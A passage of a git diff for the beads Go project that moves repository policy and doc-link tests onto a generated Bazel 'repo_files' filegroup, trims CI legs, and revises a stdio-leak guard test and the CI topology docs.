+1318,12 @@ jobs: # match is always filtered out (SF-5). restore-keys: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet- - - name: Restore non-race Go build cache - if: matrix.check == 'allowlisted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - - name: Install Dolt - if: matrix.check == 'scripts-test' || matrix.check == 'allowlisted' - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - if: matrix.check == 'scripts-test' || matrix.check == 'allowlisted' - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Go test the scripts packages - if: matrix.check == 'scripts-test' - env: - BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION: '1' - GOCACHE: ${{ runner.temp }}/go-cache/race - run: bash scripts/ci/scripts-go-test.sh - - name: Go vet with go test's checks if: ${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }} env: GOCACHE: ${{ runner.temp }}/go-cache/vet run: bash scripts/ci/go-test-vet.sh - - name: Run the Go tests the Bazel lane skips - if: ${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'allowlisted' }} - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: bash scripts/ci/allowlisted-go-tests.sh - # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot. # main.yml's pr-lint-wrapper `venue` matrix seeds this leg's golangci-lint diff --git a/BUILD.bazel b/BUILD.bazel index 91c33c0b0..ee65c07ea 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -8,7 +8,8 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") # out of every build except --config=integration (.bazelrc), which sets the tag. # gazelle:build_tags gms_pure_go,integration # integrations/ holds no Go; it stays visible to Bazel (not in .bazelignore) -# only so //test/docsync can declare the markdown its link checks resolve. +# so //:repo_files covers it for //test/docsync's link checks and the +# repository-policy tests in //scripts. # gazelle:exclude integrations gazelle(name = "gazelle") @@ -32,24 +33,6 @@ exports_files( visibility = ["//scripts/gitattributespolicy:__pkg__"], ) -# //scripts:scripts_test checks the pinned golangci-lint version/sha256 in -# engdocs/LINTING.md and the pre-commit hook's separate `go run` pin against -# scripts/ci/install-golangci-lint.sh, so both must be readable as data. -exports_files( - [ - "engdocs/LINTING.md", - ".githooks/pre-commit", - ], - visibility = ["//scripts:__pkg__"], -) - -# //scripts:scripts_test keeps pr.yml's release-target cross-compilation matrix -# in lockstep with the release targets .goreleaser.yml declares. -exports_files( - [".goreleaser.yml"], - visibility = ["//scripts:__pkg__"], -) - # //cmd/bd:bd_test: tracked git hooks (generator parity) and the formula # primitive fixtures. filegroup( @@ -66,37 +49,6 @@ exports_files( visibility = ["//cmd/bd/setup:__pkg__"], ) -# //test/docsync: the Mintlify site, engdocs, root markdown, and the files -# outside those trees that their local links point at. -# -# The out-of-tree link targets are hand-listed: a new docs/engdocs link to a -# file outside these globs passes `go test` but fails under Bazel until the -# target is added here. The globs stop at package boundaries, so no BUILD file -# may live under docs/ or engdocs/ (enforced by scripts/bazel_policy_test.go). -filegroup( - name = "docsync_files", - srcs = glob([ - "*.md", - "docs/**", - "engdocs/**", - ]) + [ - "integrations/beads-mcp/PYPI.md", - "//cmd/bd:AGENTS.md", - "//internal/storage/schema:migrations/README.md", - "//scripts:README.md", - ], - visibility = ["//test/docsync:__pkg__"], -) - -# //scripts:scripts_test workflow-policy and CI-script tests: the whole -# .github tree (workflows, composite actions, CI helper scripts) they parse -# and run. The one whole-tree input the plan allows (it is small). -filegroup( - name = "workflow_files", - srcs = glob([".github/**"]), - visibility = ["//scripts:__pkg__"], -) - # PR Risk's manifest-sharded tiers' shard scripts and their committed # manifests (embedded-Dolt cmd and storage, proxied-server cmd, server-Dolt # storage). The variants (//cmd/bd:bd_embedded_test, //cmd/bd:bd_proxied_test, @@ -122,17 +74,6 @@ exports_files( ], ) -# //scripts:scripts_test runs scripts/test.sh, which sources the canonical -# build flags and reads the known-broken-test skip list. -filegroup( - name = "test_sh_files", - srcs = [ - ".buildflags", - ".test-skip", - ], - visibility = ["//scripts:__pkg__"], -) - # //internal/versioncheck and //scripts/check-versions release-gate tests: the # metadata surfaces versioncheck.releaseSources gates, plus the canonical # version it compares them against and the tracked git hooks whose version @@ -141,12 +82,6 @@ filegroup( # Hand-listed rather than globbed because releaseSources is itself a closed # list: a newly gated surface must be added here too, and until it is the test # fails under Bazel (it passes under `go test`, which sees the whole checkout). -# -# The exception is npm-package/package.json: npm-package/ is in .bazelignore, -# so no target can declare it. Listing it anyway passes under remote execution -# but fails in a local sandbox, which is how fork-PR CI runs. -# TestRepositoryReleaseVersionsMatch tolerates exactly its absence under -# Bazel; `go test` still checks it. filegroup( name = "release_metadata_files", srcs = [ @@ -154,6 +89,7 @@ filegroup( "integrations/beads-mcp/pyproject.toml", "integrations/beads-mcp/src/beads_mcp/__init__.py", "integrations/beads-mcp/uv.lock", + "npm-package/package.json", "//cmd/bd:version.go", "//cmd/bd:winres/manifest.xml", "//cmd/bd:winres/winres.json", @@ -167,35 +103,6 @@ filegroup( ], ) -# Inputs of the Bazel policy tests in //scripts (bazel_policy_test.go), so they -# run under `bazel test` as well as `go test`. -filegroup( - name = "bazel_policy_files", - srcs = [ - ".bazelrc", - ".bazelversion", - ".gitignore", - "BUILD.bazel", - "MODULE.bazel", - "go.mod", - ], - visibility = ["//scripts:__pkg__"], -) - -# F3: TestMCPPytestWorkerCountPinned (ci_workflow_test.go) reads the MCP -# package's pytest-xdist pin directly from its manifest and lock file, so it -# runs under `bazel test` as well as `go test`. integrations/beads-mcp has no -# BUILD.bazel of its own (unlike npm-package/, it is not .bazelignore'd), so -# these are ordinary sources under this package. -filegroup( - name = "mcp_package_policy_files", - srcs = [ - "integrations/beads-mcp/pyproject.toml", - "integrations/beads-mcp/uv.lock", - ], - visibility = ["//scripts:__pkg__"], -) - go_library( name = "beads", srcs = [ @@ -261,3 +168,212 @@ exports_files( ["engdocs/design/http-divergence-ledger.md"], visibility = ["//internal/httpclient/encode:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ".agents/**", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", + ], + ) + [ + "//backend:repo_files", + "//backend/conformance:repo_files", + "//beadserrors:repo_files", + "//cmd/bd:repo_files", + "//cmd/bd/doctor:repo_files", + "//cmd/bd/doctor/fix:repo_files", + "//cmd/bd/protocol:repo_files", + "//cmd/bd/setup:repo_files", + "//format:repo_files", + "//internal/ado:repo_files", + "//internal/atomicfile:repo_files", + "//internal/audit:repo_files", + "//internal/beads:repo_files", + "//internal/ceiling:repo_files", + "//internal/compact:repo_files", + "//internal/config:repo_files", + "//internal/configfile:repo_files", + "//internal/creds:repo_files", + "//internal/debug:repo_files", + "//internal/doltremote:repo_files", + "//internal/doltserver:repo_files", + "//internal/doltversion:repo_files", + "//internal/eventsjournal:repo_files", + "//internal/execenv:repo_files", + "//internal/fdhygiene:repo_files", + "//internal/formula:repo_files", + "//internal/formula/cmd/schemagen:repo_files", + "//internal/formula/schemagen:repo_files", + "//internal/git:repo_files", + "//internal/gitenv:repo_files", + "//internal/githooksenv:repo_files", + "//internal/github:repo_files", + "//internal/gitignore:repo_files", + "//internal/gitlab:repo_files", + "//internal/gittraceenv:repo_files", + "//internal/hooks:repo_files", + "//internal/httpapi:repo_files", + "//internal/httpapi/apigen:repo_files", + "//internal/httpapi/spec:repo_files", + "//internal/httpapi/wireshape:repo_files", + "//internal/httpapi/wireshape/cmd/gendigest:repo_files", + "//internal/httpclient:repo_files", + "//internal/httpclient/encode:repo_files", + "//internal/httpclient/wire:repo_files", + "//internal/idgen:repo_files", + "//internal/jira:repo_files", + "//internal/linear:repo_files", + "//internal/lockfile:repo_files", + "//internal/memoryapi:repo_files", + "//internal/metrics:repo_files", + "//internal/migration:repo_files", + "//internal/migration/legacysqlite:repo_files", + "//internal/molecules:repo_files", + "//internal/notion:repo_files", + "//internal/procid:repo_files", + "//internal/query:repo_files", + "//internal/recipes:repo_files", + "//internal/remotecache:repo_files", + "//internal/routing:repo_files", + "//internal/storage:repo_files", + "//internal/storage/backendnames:repo_files", + "//internal/storage/backends:repo_files", + "//internal/storage/batchbench:repo_files", + "//internal/storage/batchfixtures:repo_files", + "//internal/storage/contextinfo:repo_files", + "//internal/storage/createbatchequiv:repo_files", + "//internal/storage/dberrors:repo_files", + "//internal/storage/dbproxy/identity:repo_files", + "//internal/storage/dbproxy/pidfile:repo_files", + "//internal/storage/dbproxy/proxy:repo_files", + "//internal/storage/dbproxy/server:repo_files", + "//internal/storage/dbproxy/util:repo_files", + "//internal/storage/depid:repo_files", + "//internal/storage/dolt:repo_files", + "//internal/storage/doltutil:repo_files", + "//internal/storage/domain:repo_files", + "//internal/storage/domain/db:repo_files", + "//internal/storage/domain/fs:repo_files", + "//internal/storage/domain/git:repo_files", + "//internal/storage/embeddeddolt:repo_files", + "//internal/storage/embeddeddolt/cmd:repo_files", + "//internal/storage/externaldeps:repo_files", + "//internal/storage/fs:repo_files", + "//internal/storage/git:repo_files", + "//internal/storage/issueops:repo_files", + "//internal/storage/journalscan:repo_files", + "//internal/storage/kvkeys:repo_files", + "//internal/storage/memoryops:repo_files", + "//internal/storage/rowid:repo_files", + "//internal/storage/schema:repo_files", + "//internal/storage/sqlbuild:repo_files", + "//internal/storage/sqlclass:repo_files", + "//internal/storage/sqlcount:repo_files", + "//internal/storage/storagecontract:repo_files", + "//internal/storage/uow:repo_files", + "//internal/storage/versioncontrolops:repo_files", + "//internal/telemetry:repo_files", + "//internal/templates:repo_files", + "//internal/templates/agents:repo_files", + "//internal/testutil:repo_files", + "//internal/testutil/bazeltest:repo_files", + "//internal/testutil/credentialcmd:repo_files", + "//internal/testutil/fixtures:repo_files", + "//internal/testutil/integration:repo_files", + "//internal/timeparsing:repo_files", + "//internal/tracker:repo_files", + "//internal/tracker/conformance:repo_files", + "//internal/types:repo_files", + "//internal/ui:repo_files", + "//internal/uimd:repo_files", + "//internal/utils:repo_files", + "//internal/validation:repo_files", + "//internal/versioncheck:repo_files", + "//internal/workapi:repo_files", + "//internal/workapi/storecounter:repo_files", + "//internal/workapi/storequerier:repo_files", + "//internal/workapi/storereader:repo_files", + "//internal/workapi/storereadycounter:repo_files", + "//internal/workapi/storestats:repo_files", + "//internal/workapi/storeversionreconciler:repo_files", + "//internal/workapi/storeworkspaceconfig:repo_files", + "//internal/workspacegate:repo_files", + "//internal/worktreeremove:repo_files", + "//issueops:repo_files", + "//journalops:repo_files", + "//memoryops:repo_files", + "//plugins/beads:repo_files", + "//schema:repo_files", + "//scripts:repo_files", + "//scripts/bench-ready-indexes:repo_files", + "//scripts/check-versions:repo_files", + "//scripts/checkworkflowtags:repo_files", + "//scripts/gitattributespolicy:repo_files", + "//scripts/internal/testbash:repo_files", + "//scripts/migration-test/catalog:repo_files", + "//scripts/pr-lint:repo_files", + "//scripts/prlintmake:repo_files", + "//scripts/repro-dolt-hang:repo_files", + "//scripts/repro-dolt-prod-timeouts:repo_files", + "//scripts/workflowtags:repo_files", + "//test/conformance:repo_files", + "//test/docsync:repo_files", + "//test/testmainconvention:repo_files", + "//third_party/patches:repo_files", + "//tools/bazel:repo_files", + "//tools/docsmint:repo_files", + ], + visibility = [ + "//scripts:__pkg__", + "//test/docsync:__pkg__", + ], +) + +# --- end repo_files --- diff --git a/MODULE.bazel b/MODULE.bazel index ff3e3cafb..e5fe1df52 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -76,3 +76,18 @@ dolt_release( name = "dolt_darwin_arm64", platform = "darwin-arm64", ) + +# The tracked release formula, for //scripts:scripts_test. .beads/ also holds +# live bd data and is in .bazelignore, so no main-repo target can declare the +# formula; this local repository exposes only .beads/formulas. +new_local_repository = use_repo_rule("@bazel_tools//tools/build_defs/repo:local.bzl", "new_local_repository") + +new_local_repository( + name = "beads_formulas", + build_file_content = """exports_files( + glob(["*.formula.toml"]), + visibility = ["@@//scripts:__pkg__"], +) +""", + path = ".beads/formulas", +) diff --git a/backend/BUILD.bazel b/backend/BUILD.bazel index 0f7dac0be..efaf0d7b9 100644 --- a/backend/BUILD.bazel +++ b/backend/BUILD.bazel @@ -43,3 +43,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index 1bd7e0271..3ff778c49 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -111,3 +111,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/beadserrors/BUILD.bazel b/beadserrors/BUILD.bazel index 5285eb578..51c339a62 100644 --- a/beadserrors/BUILD.bazel +++ b/beadserrors/BUILD.bazel @@ -19,3 +19,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 624205455..10f006ac9 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1552,19 +1552,6 @@ exports_files( visibility = ["//internal/httpapi:__pkg__"], ) -# Init-safety help text pinned by //test/docsync recovery-doc tests. -exports_files( - ["init_safety_help.go"], - visibility = ["//test/docsync:__pkg__"], -) - -# Contributor agent instructions; root AGENTS.md links them and -# //:docsync_files checks those links. -exports_files( - ["AGENTS.md"], - visibility = ["//:__pkg__"], -) - # Release-metadata surfaces gated by //internal/versioncheck's releaseSources # table: the canonical version and the Windows PE resource files. Aggregated # into //:release_metadata_files, which is what the tests declare as data. @@ -1589,3 +1576,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/doctor/BUILD.bazel b/cmd/bd/doctor/BUILD.bazel index 5f541e3e8..cfd8abbdb 100644 --- a/cmd/bd/doctor/BUILD.bazel +++ b/cmd/bd/doctor/BUILD.bazel @@ -187,3 +187,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index 7ab6423bc..adc25eb0a 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -167,3 +167,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index d88b1110a..3d551d4fe 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -139,3 +139,25 @@ sh_test( shard_count = 8, tags = ["dolt-server"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/setup/BUILD.bazel b/cmd/bd/setup/BUILD.bazel index 1dbae3b11..c95870119 100644 --- a/cmd/bd/setup/BUILD.bazel +++ b/cmd/bd/setup/BUILD.bazel @@ -60,3 +60,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index ce3081d01..a5fa4927a 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -54,8 +54,14 @@ type testRunner interface { Run() int } +// preRunStdout and preRunStderr are os.Stdout/os.Stderr as runTestsAndSweep +// saw them before m.Run: TestZZStdioNotLeaked's baseline when +// TestAAAStdioBaseline did not run in this process. +var preRunStdout, preRunStderr *os.File + func runTestsAndSweep(m testRunner) int { stdout, stderr := os.Stdout, os.Stderr + preRunStdout, preRunStderr = stdout, stderr code := m.Run() code = checkStdioAfterRun(code, stdout, stderr) swept := doltserver.SweepSuiteTestServers(testTempRoot) diff --git a/cmd/bd/zz_stdio_leak_guard_test.go b/cmd/bd/zz_stdio_leak_guard_test.go index 66bfc4cbd..6784acc2f 100644 --- a/cmd/bd/zz_stdio_leak_guard_test.go +++ b/cmd/bd/zz_stdio_leak_guard_test.go @@ -18,25 +18,33 @@ import ( // // It only sees tests that ran before it in this process. TestMain repeats the // check after m.Run (checkStdioAfterRun), which covers every test in the -// process, including each Bazel shard, where this test runs in one shard only. +// process, including each Bazel shard. +// +// Where TestAAAStdioBaseline did not run in this process (a -run filter, or a +// Bazel shard that holds this test but not that one), the baseline is the +// streams TestMain saw before m.Run, with checkStdioAfterRun's one allowance: +// the framework's own -json swap, os.Stderr = os.Stdout. func TestZZStdioNotLeaked(t *testing.T) { - if baselineStdout == nil || baselineStderr == nil { - // TestAAAStdioBaseline did not run in this process (-run filtered it - // out, or Bazel sharding put it in another shard); TestMain's check - // after m.Run still applies. - t.Skip("no baseline in this process; checkStdioAfterRun covers it") + wantStdout, wantStderr := baselineStdout, baselineStderr + frameworkSwapAllowed := false + if wantStdout == nil || wantStderr == nil { + if preRunStdout == nil || preRunStderr == nil { + t.Fatal("neither TestAAAStdioBaseline nor TestMain recorded the streams; TestMain must run the suite through runTestsAndSweep") + } + wantStdout, wantStderr = preRunStdout, preRunStderr + frameworkSwapAllowed = true } - if os.Stdout != baselineStdout { + if os.Stdout != wantStdout { t.Errorf("os.Stdout was leaked by an earlier test (now fd=%d name=%q); "+ "a capture helper restored it on the happy path only - move the restore into a defer", os.Stdout.Fd(), os.Stdout.Name()) - os.Stdout = baselineStdout + os.Stdout = wantStdout } - if os.Stderr != baselineStderr { + if os.Stderr != wantStderr && (!frameworkSwapAllowed || os.Stderr != wantStdout) { t.Errorf("os.Stderr was leaked by an earlier test (now fd=%d name=%q); "+ "a capture helper restored it on the happy path only - move the restore into a defer", os.Stderr.Fd(), os.Stderr.Name()) - os.Stderr = baselineStderr + os.Stderr = wantStderr } } diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 091d58be6..72b3c0d01 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -647,7 +647,7 @@ Do not require these existing check names directly: - `Test (macos-latest)` - `Test (storage domain + uow)` - `Test (Dolt server fingerprint)` -- `Go checks (scripts-test)`, `Go checks (vet)` and `Go checks (allowlisted)` +- `Go checks (vet)` - `Contract corpus (golden + determinism + conformance)` - `PR Core (wrapper timing)` - `Build Artifacts` @@ -927,28 +927,30 @@ manifests. On those PRs they are the tiers' only pre-merge run, and `TEST_DOLT_SERVER_FINGERPRINT`). `check-release-target-cross-compilation` still `go build`s `./...` with `CGO_ENABLED=0` on every PR. - Also kept on every PR, in the required job `scripts-go-checks` - (`SCRIPTS_GO_CHECKS`; PR Core's environment: dolt, git and dolt - identity, `scripts/ci/lib/test-env.sh`): - - `go test ./scripts/...` with PR Core's flags - (`scripts/ci/scripts-go-test.sh`). The repository policy tests, - including the D2 guards, check part or all of their rules under - `go test` only (their inputs are not in `//scripts:scripts_test`'s - runfiles), so without this they would have no required pre-merge run - on covered PRs. - - `go test`'s own vet checks (cmd/go's `defaultVetFlags`, policy-tested - equal to the toolchain's) over `./...` (`scripts/ci/go-test-vet.sh`): - rules_go's `go_test` runs no vet, so a `go test` vet finding would - otherwise first fail on `main` and then on every fork PR. - - the Go tests `bazel test --config=ci` does not run or skips - (`tools/bazel/equivalence_allowlist.txt`), under `go test` - (`scripts/ci/allowlisted-go-tests.sh`); each entry must match a test - that ran and passed. + (`SCRIPTS_GO_CHECKS`, one leg, `Go checks (vet)`): `go test`'s own vet + checks (cmd/go's `defaultVetFlags`, policy-tested equal to the + toolchain's) over `./...` (`scripts/ci/go-test-vet.sh`): rules_go's + `go_test` runs no vet, so a `go test` vet finding would otherwise first + fail on `main` and then on every fork PR. + - The repository policy tests (`./scripts/...`, including the D2 guards) + and the tests that walk the checkout run only under Bazel, remotely: + `//scripts:scripts_test` and `//test/docsync:docsync_test` take + `//:repo_files` as data, the checkout as Bazel sees it (every tracked + file outside `.bazelignore`, aggregated from the `repo_files` block + `tools/bazel/go_srcs.py` keeps in every package; the BUILD sync step's + `make bazel-sync-check` fails on a package without it). The release + formula under `.bazelignore`d `.beads/` comes in as `@beads_formulas`. + Their former `go test` legs (`Go checks (scripts-test)` and + `Go checks (allowlisted)`) are gone. - `TestBazelOnlySkipsAreAllowlisted` (itself go-test-only, so in that - job) requires every top-level test with a `TEST_SRCDIR`- or + `tools/bazel/equivalence_allowlist.txt` holds only the two `cmd/bd` + tests of plain `go test`'s own bd build fallback, which Bazel never + takes; `pr-preflight-platforms` runs them on every OS ("Exercise go + test's bd build fallback"). `TestBazelOnlySkipsAreAllowlisted` (under + Bazel too) requires every top-level test with a `TEST_SRCDIR`- or `bazeltest.IsBazel()`-guarded `t.Skip` to have an allowlist `skip` - entry, and every test that runs part of its checks under `go test` - only to live under `./scripts`. + entry, and no test anywhere to run part of its checks under `go test` + only. - Package gates on a covered PR in a non-remote mode (the farm switch off) fail in their own "Check the Bazel-built bd exists" step, naming `BAZEL_PR_LANES_RETIRED`, instead of on a missing artifact. @@ -1474,7 +1476,7 @@ check read. Non-Bazel required jobs re-run in full on every merge group (approximate PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` -(~2.5 min), `scripts-go-checks` (3 legs, up to ~3.5 min), `pr-lint-wrapper` +(~2.5 min), `scripts-go-checks` (vet only), `pr-lint-wrapper` (native/darwin/windows, up to ~4 min), `check-doc-flags` (~1.7 min), `check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, Windows and macOS legs, up to ~5 min on Windows), diff --git a/format/BUILD.bazel b/format/BUILD.bazel index 3f6bc1da5..5d295c6c6 100644 --- a/format/BUILD.bazel +++ b/format/BUILD.bazel @@ -17,3 +17,25 @@ go_test( embed = [":format"], deps = ["//internal/types"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/ado/BUILD.bazel b/internal/ado/BUILD.bazel index bdfc59ce1..6f94e9775 100644 --- a/internal/ado/BUILD.bazel +++ b/internal/ado/BUILD.bazel @@ -49,3 +49,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/atomicfile/BUILD.bazel b/internal/atomicfile/BUILD.bazel index bc13a8982..ed52ef940 100644 --- a/internal/atomicfile/BUILD.bazel +++ b/internal/atomicfile/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["atomicfile_test.go"], embed = [":atomicfile"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/audit/BUILD.bazel b/internal/audit/BUILD.bazel index 7173c27c1..1cd6e6352 100644 --- a/internal/audit/BUILD.bazel +++ b/internal/audit/BUILD.bazel @@ -19,3 +19,25 @@ go_test( ], embed = [":audit"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index ef74544f6..27c6349c1 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -57,3 +57,25 @@ go_test( "//internal/utils", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/ceiling/BUILD.bazel b/internal/ceiling/BUILD.bazel index 9ef453ece..7de0ab073 100644 --- a/internal/ceiling/BUILD.bazel +++ b/internal/ceiling/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["ceiling_test.go"], embed = [":ceiling"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/compact/BUILD.bazel 